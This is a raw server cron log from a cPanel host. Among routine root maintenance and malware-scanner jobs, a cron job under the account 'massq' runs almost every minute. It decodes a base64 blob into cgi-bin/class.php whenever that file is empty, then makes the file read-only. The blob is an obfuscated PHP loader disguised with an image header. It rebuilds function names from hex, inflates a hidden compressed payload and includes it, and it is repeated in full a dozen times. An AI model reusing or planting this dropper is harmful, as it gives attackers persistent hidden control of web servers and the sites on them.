Sep  4 11:15:01 server CROND[7103]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 11:15:01 server CROND[7105]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 11:15:01 server CROND[7106]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:15:01 server CROND[7107]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  4 11:15:01 server CROND[7108]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 11:15:01 server CROND[7110]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:16:01 server CROND[7965]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:16:01 server CROND[7966]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:16:01 server CROND[7967]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:17:01 server CROND[8525]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:17:01 server CROND[8526]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:17:01 server CROND[8527]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:18:01 server CROND[8924]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:18:01 server CROND[8925]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:18:01 server CROND[8926]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:19:01 server CROND[9292]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:19:01 server CROND[9293]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:19:01 server CROND[9294]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:20:01 server CROND[9669]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 11:20:01 server CROND[9670]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 11:20:01 server CROND[9671]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 11:20:01 server CROND[9674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:20:01 server CROND[9679]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 11:20:01 server CROND[9681]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 11:20:01 server CROND[9682]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 11:20:01 server CROND[9685]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:20:01 server CROND[9683]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:21:01 server CROND[10509]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:21:01 server CROND[10510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:21:01 server CROND[10511]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:22:01 server CROND[11031]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:22:01 server CROND[11032]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:22:01 server CROND[11033]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:23:01 server CROND[11421]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:23:01 server CROND[11423]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:23:01 server CROND[11422]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:24:01 server CROND[11800]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:24:01 server CROND[11801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:24:01 server CROND[11802]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:25:01 server CROND[12178]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 11:25:01 server CROND[12180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:25:01 server CROND[12186]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:25:01 server CROND[12187]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 11:25:01 server CROND[12191]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:25:01 server CROND[12189]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 11:25:01 server CROND[12188]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 11:26:01 server CROND[13035]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:26:01 server CROND[13036]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:26:01 server CROND[13037]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:27:01 server CROND[13503]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:27:01 server CROND[13502]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
